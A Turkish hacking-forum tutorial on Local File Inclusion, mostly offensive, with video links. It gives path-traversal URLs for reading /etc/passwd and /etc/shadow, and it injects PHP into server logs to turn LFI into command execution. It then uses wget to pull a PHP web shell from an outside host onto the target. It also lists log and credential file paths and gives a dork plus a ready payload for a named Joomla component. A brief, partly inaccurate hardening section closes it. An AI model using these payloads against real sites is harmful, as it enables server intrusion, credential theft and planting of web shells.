Local File Inclusion LFI Hakkında Geniş Videolu Döküman

Kodla Büyü

KingSkrupellos

Seçkin Üye
Seçkin Üye
Mesajlar
554
Yöntem => Local File İnclusion ( LFI ) Yerel(serverdan) dosya dahil etme.
LFI Web Sunucu Açıkları ve Korunma Yolları
Anlatım => KingSkrupellos
14 Farklı Videolu Anlatımlar
Kod:
 http://www.youtube.com/watch?v=s3XQ1n5kdeQ
http://www.youtube.com/watch?v=KGKIBA8CdHY
http://www.youtube.com/watch?v=Vv2iBqpTyZQ
http://www.youtube.com/watch?v=pnqcHU2qFiA
http://www.youtube.com/watch?v=UP7a_hXSsUE
http://www.youtube.com/watch?v=oWU5NmO7Af8
http://www.youtube.com/watch?v=K7kKA7kEvY0
http://www.youtube.com/watch?v=KGKIBA8CdHY
http://www.youtube.com/watch?v=wLI1Z_cKQ18
http://www.youtube.com/watch?v=j1ubQruirxk
http://www.youtube.com/watch?v=s_o4yTrBgtQ
http://www.youtube.com/watch?v=kGZNvUSWDqg
http://www.youtube.com/watch?v=1pZnOHzdV7o
Rfi kadar işlevselliği olmayan ama her Difeysır adayı için bilmesi gereken bir açık türü olan LFI yi ve bundan korunma yolunu elimden geldiğince sizlere aksettireceğim.
LFI Sayesinde Saldırdığınız Scriptin Bulunduğu Sistemdeki Dosyaları Okuyabilirsiniz. Örn Linux Sistemlerde etc/passwd Gibi veya Scriptin Config.php Ayarları Gibi. RFI Kadar Olmasada Bayağı Yararı Vardır..
Scriptlerde LFI Ararken RFI’deki Gibi Include, Require, Define vs. Ana Komutlarını Arıyoruz.Mantık Olarak RFI iLe Aynı…
LFI Bulduktan Sonra Bazı Önemli Dosya İsimlerini Vereyim
Kod:
 /etc/passwd
/etc/shadow
/etc/group
/etc/security/group
/etc/security/passwd
/etc/security/user
/etc/security/environ
/etc/security/limits
/usr/lib/security/mkuser.default
gibi..
1) Mesela ; http://www.hedefsite.com/index.php?id=9 burası sadece id değil (cat,c,home vs.) gibi de olabilir URL’sindeki id değerini yani 9 silelim eğer şöyle bir hata ile karşılaşırsak demek ki LFİ açığı vardır.

Hata: Warning: include(company_data/.php) [function.include]: failed to open stream: No such file or directory in /usr/home/posting/public_html/resources/index.php on line 171
LFI nasıl oluşur ?

Öncelikle bir php sayfası üzerinden olayın mantığını anlatmaya çalışayım.

Kod:
 #Dosya adı : test.php
<?php
include($_GET[’sayfa’.".php");
?>

Gibi bir kod yazdık.Sayfa normalde şu şekilde çalışır.include ile bir dosya dahil edilir ve o dosya da sayfada gelen GET değişkeninden alır sayfa adını.

Örneğin browserimize :

Kod:
http://localhost/test.php?sayfa=haber 

dediğimizde $_GET[’sayfa’] değeri haber olacaktır ve yukarıdaki koda dikkat ederseniz .php ile getirmiş devamına yani gelen değişkenin içerisindeki veriyi alırsak kısmen şu şekilde oluyor;

[code]<?php
#Dosya adı : test.php
include("haber.php");
?>

Olayı anladıysanız eğer browserimizden gelen isteği sayfamıza eklemeye çalışıyor.Tabi bu illa include olacak değil.Değişik yollar da olabilir.Örnek vermek gerekirse;

Kod:
include();
include_once();
require();
require_once();
file();
file_get_contents();

Gibi fonksiyonlarla beraber de çağırılabilir.

Bu örneklere dayanarak şunları söyleyebiliriz o halde;
Local file inclusion metodu aslında browserden değişken alarak ve alınan dosyayı sayfaya dahil eden sayfalarda meydana gelir ve browserimizde istediğimiz sayfamızı ( haber.php ’yi ) açtık.Sayfa da hiç bir sorunumuz yok.Ama sizce sayfa bu kadar masum mu ?

Şimdi örneklerle nasıl hata verdirip nasıl kullanacağımız konusuna bakalım.

Hata verdirme :

Evet en son hatırlarsanız browserimizde http://localhost/test.php?sayfa=haber yazmıştık ve haber.php sayfamızı çağırmıştık. Şimdi browserde biraz oynama yaparak hata verdirmeye çalışalım.

Örnek 1 :

Kod:
http://localhost/test.php?sayfa=/etc/passwd

Yazdığımız zaman karşımıza hata vermiş bir sayfa çıkacaktır.

Kod:
Warning: main(/etc/passwd): failed to open stream: No such file or directory in /usr/www/www.Cyber-warrior.org/www/test.php on line 5

Warning: main(): Failed opening ’/etc/passwd’ for inclusion (include_path=’.:’) in /usr/www/www.Cyber-warrior.org/www/test.php on line 6

Evet hata verdirmeyi başardık.Şimdi yukarıdaki hatayı açıklayalım. PHP bize ne gibi bilgiler vermeye çalışmış ve bu bilgileri ne yapabiliriz ne işimize yarar ?

Yukarıda ilk dikkat edeceğimiz failed to open stream No such file or directory oluyor.Bu bize öyle bir sayfanın o dizinde bulunmadığını gösterir.Hemen biraz daha ileriyi okuyoruz web sitenin sunucudaki adresini bize veriyor.Bunu bir yere not edelim.Ve bakıyoruz ki bizim istediğimiz /etc/passwd sayfası bu dizinde değil. Nerdeki acaba ? Linux sunucular da ana dizin ( root directory ) dediğimiz dizinde bulunurlar.Peki buraya nasıl erişebilirim ? Az önce not edin dediğim dosya yolunu kullanarak ulaşabiliriz.Ama bundan önce kaç dizin olduğunu saymamız lazım.
Dizinleri parçalayarak yazalım ki kaç dizin yazacağımızı hesaplayalım ( / ) işaretinden itibaren parçalayın

Server dizini :
Kod:
usr/www/www.Cyber-warrior.org/www/test.php 

/usr ( 1 .ci dizin )
/www ( 2 .ci dizin )
/www.Cyber-warrior.org ( 3. cü dizin )
/www ( 4. cü dizin )
/test.php ( şu an bulunduğumuz dizin )

İstediğimiz sayfa = /etc/passwd

Evet dizinlerimizi parçaladık ve bakıyoruz ki 4 dizin var.Hemen istediğimiz sayfa ile dizin sayımızı birleştiriyoruz.

Kod:
../../../../etc/passwd

buradaki her bir ../ işareti bir üst dizin anlamına geliyor.4 tane üst dizinin üstündeki /etc/passwd dosyasını istemiş olduk.Ve browserimizdeki adresi şöyle değiştirerek

Kod:
http://localhost/test.php?sayfa=../../../../etc/passwd

Gelen veriye baktığımızda

Kod:
# $FreeBSD$ # 
root:*:0:0:RMx &:/root:/usr/local/bin/bash

Ve devamı..

Evet bu şekilde passwd dosyasını okuyabildik.İşte şu ana kadar yaptıklarımızı klasik türk sitelerinde bulunanlar kadardı biz işi daha ileriye götürüyoruz. LFI üzerinden RCE ( Remote Command Execution = Uzaktan komut çalıştırma ) metodunu yaparak işlem yapabilir doyumsuz olan arkadaşlarımızın işini görmüyorsa RFI ( Remote file include = Uzakdan bir dosya dahil etme ) metodunu da ekleyebilir.

Şimdi işin bu kısmına kadar anladıysak işimiz bundan sonra biraz daha zorlaşacaktır.File inclusion metodları genelde bir linux sever için basittir.

Şimdi de biraz konumuzun dışında olan bir şeyden bahsetmek istiyorum.Bilirsiniz web sitelerin çalışma mantığını.Siz web adresini yazarak girersiniz web sitede içinde olan sayfa veya veritabanı bilgilerini size sunar.Peki eğer istediğim şey o sayfada veya saayfalarda veya sunucu da yoksa ? işte o zaman sunucu tarafından ( apache veya internet information services ( IIS ) )tarafından hatalar bir hata sayfasına yazdırılırlar.Eğer ki root admin ( sunucu yöneticisi ) sunucunun kurulumuyla beraber gelen dosya yollarını değiştirmediyse istediğiniz sayfa veya veri hata olarak yazdırılırlar.Peki bu benim ne işime yarayacak ?

Aslında bir çok şeye.Local file include metodnun can alıcı noktası da burada zaten.Eğer ben o web siteye girip de sayfaya örnek olarak şöyle bir istek attığımda da verileri yazdırmaz mı ?

Kod:
http://localhost/<?php phpinfo(); ?>

BİLGİ :
Kod:
<?php phpinfo(); ?>
ne demektir ?

php nin information fonksiyonudur. Bize server ve serverdaki php ve birkaç kütüphane hakkında bilgi verir...Dissabled & enabled functions ’lara bakarak ne kullanacağımızı göre biliriz.

Elbetteki yazdırır...

Ama bunu yazdığına göre ben buraya istediğim şeyi yazdırarak komut çalıştırabilirim ( farkındaysanız yavaş yavaş RCE metoduna giriyoruz .) O halde istediğim sayfayı değiştiriyorum ve şöyle yapıyorum.

Kod:
http://localhost/<?php system("ls -la"); ?>

yada şöyle bir veri göndereyim ls -la ve diğer shell komutlarımı kullanmak için GET ile bir istek yapayım.

Kod:
http://localhost/<?php system($_GET[’mgg’]); ?>

BİLGİ :

Kod:
<?php system("ls -la"); ?>
nedir ?

php de bulunan system fonksiyonu windows ise ms dos linux ise shell üzerinden komut çalıştırmamıza yarar. $_GET[’mgg’]; ise mgg den gelen bilgi anlamına gelir.mggden gelen bilgiyi sistem üzerinde çalıştır demek olur.

Bunu yaptığımızda ne olacak ? hemen bir hata sayfası..

404 This page not found

Adında bir hata sayfası getirecektir.Böylelikle ne yapmış olduk ? Sunucu tarafından kaydedilen hata raporlarına php kodu enjekte etmiş olduk..Peki kodu enjekte ettik nasıl kullanacağım ben bunu ?


Aslında kullanması da basit.Sadece server tipine göre hangi dosyaya enjecte etmişseniz o dosya üzerinden kullanabilirsinz.Yine bir varsayım yapalım.

Örnek olarak atak yaptığım web sitenin kayıt yolu bu olsun;

Kod:
/apache/logs/access.log

bunu kendi sistemimize uyarlıyoruz.

ve şöyle oluyor;

Kod:
http://localhost/test.php?sayfa=../../../../apache/logs/acces.log

Browsermizden bu adrese girdiğimiz zaman web siteye yapılan istekler örüntülenecektir.Dolaysıyla bizim kodumuz da orda olacaktır.Şimdi dosyamızı ve nerde olduğunu da bildiğimize göre dosyamızı çalıştırabiliriz.

Kod:
http://localhost/test.php?sayfa=../../../../apache/logs/acces.log&mgg=ls -la

Peki şimdi ne yaptık ? mgg ile linuxun dosya ve dizin listeleme metodu olan ls -la ile o an klasördeki dosyaları görmek istedik ve sonucu bize aynen döndürecektir.

Şimdi LFI atağını RCE ye çevirdiğimize göre RCE atağını da RFI ye çevirelim. Linux’un wget fonksiyonunu kullanarak web siteye dosyamızı çekelim...

Kod:
http://localhost/test.php?sayfa=../../../../apache/logs/acces.log&mgg=wget
 http://siteniz.com/shell_adresiniz.php

Bu şekilde dosyanızı çekebilirsiniz.Tabi bazen sorun oluyor.İşte aksilik Şöyle bir senaryo daha üretelim ve işimizi zorlaştıralım ( gerçi kolay ama) wget ile php dosyalarını çekemeyebiliriz ( başıma çok geldiğinden söylüyorum bunu da ) o zaman kendi dosya çekeceğimiz siteye .txt uzantısında dosyamızı atıyoruz.Ve şöyle birşey yazıyoruz.


Kod:
http://localhost/test.php?sayfa=../../../../apache/logs/acces.log&mgg=wget
 http://siteniz.com/shell_adresiniz.txt

Bu şekilde genelde çeker.Ne yapmış olduk txt dosyasını servera yüklemiş olduk.Fakat txt halinde çalışmaz bunun uzantısını değiştirelim.Onu da şöyle yapabiliriz.


Kod:
http://localhost/test.php?sayfa=../../../../apache/logs/acces.log&mgg=mv shell_adi.txt shell_adi.php

Bu şekilde dosyanın adını değiştirmeden uzantısını değiştirdik.İsterseniz adını da değiştirebilirsiniz size kalmış bir olaydır.





Sunucu tipine göre dizinler ve komutlar;

IRIX:

Kod:
/var/adm/SYSLOG
/var/adm/sulog
/var/adm/utmp
/var/adm/utmpx
/var/adm/wtmp
/var/adm/wtmpx
/var/adm/lastlog/username
/usr/spool/lp/log
/var/adm/lp/lpd-errs
/usr/lib/cron/log
/var/adm/loginlog
/var/adm/pacct
/var/adm/dtmp
/var/adm/acct/sum/loginlog
/var/adm/X0msgs
/var/adm/crash/vmcore
/var/adm/crash/unix


AIX:

Kod:
/var/adm/pacct
/var/adm/wtmp
/var/adm/dtmp
/var/adm/qacct
/var/adm/sulog
/var/adm/ras/errlog
/var/adm/ras/bootlog
/var/adm/cron/log
/etc/utmp
/etc/security/lastlog
/etc/security/failedlogin
/usr/spool/mqueue/syslog


SunOS:

Kod:
/var/adm/messages
/var/adm/aculogs
/var/adm/aculog
/var/adm/sulog
/var/adm/vold.log
/var/adm/wtmp
/var/adm/wtmpx
/var/adm/utmp
/var/adm/utmpx
/var/adm/log/asppp.log
/var/log/syslog
/var/log/POPlog
/var/log/authlog
/var/adm/pacct
/var/lp/logs/lpsched
/var/lp/logs/lpNet
/var/lp/logs/requests
/var/cron/log
/var/saf/_log
/var/saf/port/log

Linux:

Kod:
/etc/httpd/logs/error.log
/etc/httpd/logs/error_log
/etc/httpd/logs/access.log
/etc/httpd/logs/access_log
/etc/wtmp
/etc/utmp
/opt/lampp/logs/error_log
/opt/lampp/logs/access_log
/var/log/lastlog
/var/log/telnetd
/var/run/utmp
/var/log/secure
/var/log/wtmp
/var/run/utmp
/var/log
/var/adm
/var/apache/log
/var/apache/logs
/var/apache/logs/access_log
/var/apache/logs/error_log
/var/log/acct
/var/log/apache/access.log
/var/log/apache/error.log
/var/log/apache-ssl/error.log
/var/log/apache-ssl/access.log
/var/log/auth.log
/var/log/xferlog
/var/log/message
/var/log/messages
/var/log/proftpd/xferlog.legacy
/var/log/proftpd.access_log
/var/log/proftpd.xferlog
/var/log/httpd/error_log
/var/log/httpd/access_log
/var/log/httpsd/ssl.access_log
/var/log/httpsd/ssl_log
/var/log/httpsd/ssl.access_log
/etc/mail/access
/var/log/qmail
/var/log/smtpd
/var/log/samba
/var/log/samba-log.%m
/var/lock/samba
/root/.Xauthority
/var/log/poplog
/var/log/news.all
/var/log/spooler
/var/log/news
/var/log/news/news
/var/log/news/news.all
/var/log/news/news.crit
/var/log/news/news.err
/var/log/news/news.notice
/var/log/news/suck.err
/var/log/news/suck.notice
/var/log/thttpd_log
/var/log/ncftpd/misclog.txt
/var/log/ncftpd.errs
/var/log/auth
/var/log/kern.log
/var/log/cron.log
/var/log/maillog
/var/log/qmail/
/var/log/httpd/
/var/log/lighttpd
/var/log/boot.log
/var/log/mysqld.log
/var/log/secure
/var/log/utmp
/var/log/wtmp
/var/log/yum.log
/var/spool/tmp
/var/spool/errors
/var/spool/logs
/var/spool/locks
/var/www/log/access_log
/var/www/log/error_log
/var/www/logs/access.log
/var/www/logs/error.log
/var/www/logs/error_log
/var/www/logs/access_log
/root/.ksh_history
/root/.bash_history
/root/.bash_logut
/usr/local/apache/log
/usr/local/apache/logs
/usr/local/apache/logs/access_log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/access.log
/usr/local/apache/logs/error.log
/usr/local/etc/httpd/logs/access_log
/usr/local/etc/httpd/logs/error_log
/usr/local/www/logs/thttpd_log

Windows:

Kod:
c:\Program Files\Apache Group\Apache\logs\error.log
c:\Program Files\Apache Group\Apache\logs\access.log
c:\apache\logs\error.log
c:\apache\logs\access.log
Local File Inclusion: Bu açıklar RFI dan daha az kullanılmaktadır ve etkiside RFI kadar yoktur.Biraz hakkında konuşalım LFI’nın:). Gene php coderların acemilikleri veya unutkanlıklarından meydana gelen açıklardır.LFI ile bir sitenin ftp’sindeki veya serverdaki dosyaları okuma iznimiz varsa okuyabiliriz.Her RFI açıgını bir LFI gibi kullanabiliriz ama ortada bir remote file include imkanımız varken local file include yapmamız saçma olur.
Bir örnekle açıklayalım;)
Kod:
<?
include (’files/$cw/config.php’) ;
?>
Bu kodu test3.php olarak save edip php destekleyen bir servera atıp çalıştırdıgımızda gene hata alacagızdır,bunun neden, config.php nin bulunamamasıdır.Bu bizim için fark etmez bizim amacımız farklı.
Bu koddaki $cw veriablı tanımlı değildir bu yüzden aşagıdaki bir komutla okuma izni olan tüm dosyaları okuyabiliriz.
Kod:
www.siteismi.com/test3.php?cw=../../../../etc/passwd 
ben üstte serverın /etc/passwd dosyasını okudum siz isterseniz başka dosyalarıda okuyabilirsiniz. 
[code]<?
$cw : ‘conf’ ;
include (’files/$cw/config.php’) ;
?>

Bu dosyayı test4.php olarka save edip php destekleyen bir hostta attıgınızda LFI açıgının çalışmadıgını göreceksiniz.Bunun nedeni $cw : ‘conf’ ; bu kod ile tanımlı olmayan $cw veriablı tanımlanmıştır.Yani sepet doldurulmuştur.
Son zamanların en çok kullanılan ve hostingcilerin başına en çok bela açan açıkların başında gelmektedir.
File Inclusion açıklarından yararlanarak servera upload edilen php shell’lerden nasıl korunurum diye düşünüyorsanız işte cevabı….
Kod:
/etc/php.ini
dosyasını açın
disable_function satırını buluyoruz ve karşısına bunları ekliyoruz.

system,passthru,exec,popen,proc_close,proc_get_sta tus,proc_nice,proc_open,
allow_url_fopen,shell,shellexec,execute
Kod:
service htttpd restart
diyoruz
NOT: Bu fonksiyonlar disable yapıldıgında bazı scriptler serverınızda çalışmayacaktır ama bu açıklardan da korumuş olacaksınız.
Kullanımını Anlatayım

Kod:
<?php
include (‘data/$miller/function.php’);
?>
burda gördünüz gibi rfi olarak düşünürsen miller
tanımlanmamış .
fakat bu lfi de shell olarak kullanılamaz tanımlanmayan degişken (miller)kullanılarak dosya okunabilir yukarıdaki kodu robot.php olarak kaydedin
Daha sonra
Kod:
http://www.siteismi.com/robot.php?miller=../../../cyberizm
dosyası okunabilir izin varsa okunur bu
açıkla neler yapılır ?
etc/passwd , config okuruz ya da ftp alırız …
LFI açığını Nasıl Kapatırız ?


Kod:
<?php
$miller=’sdwd’
include (‘data/$miller/function.php’);
?>


bu kod sayesinde açık kapaır çünkü miller ‘i burda tanımladık
Kod:
http://www.siteismi.com/robot.php?miller=../../../cyberizm
yaptığınız an LFI çalışmaz
Örnek LFI :

Kod:
http://www.siteismi.com/view.php?list=..%2F..%2F..%20%2F..%2F..%2F..%2F..% 2F..%2F..%2F..%2Fetc%2Fpasswd
Not: Lfi açığı olan sisteme kod enjekte edilmiş bir jpg dosya atılarak server üzerinde işlem yapılabilir.
Not 2 => Ben size yeni bir açık ismi veriyim
Dork :
Kod:
inurl:components/com_acooldebate/acooldebate.php
Tam olarak yapılacak iş : Sitenin açığına exploit sokup ya da Password okuyum işleri halletmek

Kod:
http://site/joomla yolu/index.php?option=com_acooldebate&controller={LFI}
Ben size bikaç ornek veriyim :.
Ftp okumak istiyorsanız :
Kod:
http://site/joomla yolu/index.php?option=com_acooldebate&controller=../../../../../../../../../../etc/passwd

Anlatacaklarım bu Kadar. KingSkrupellos. Emeğe Saygı.
 
Geri
Üst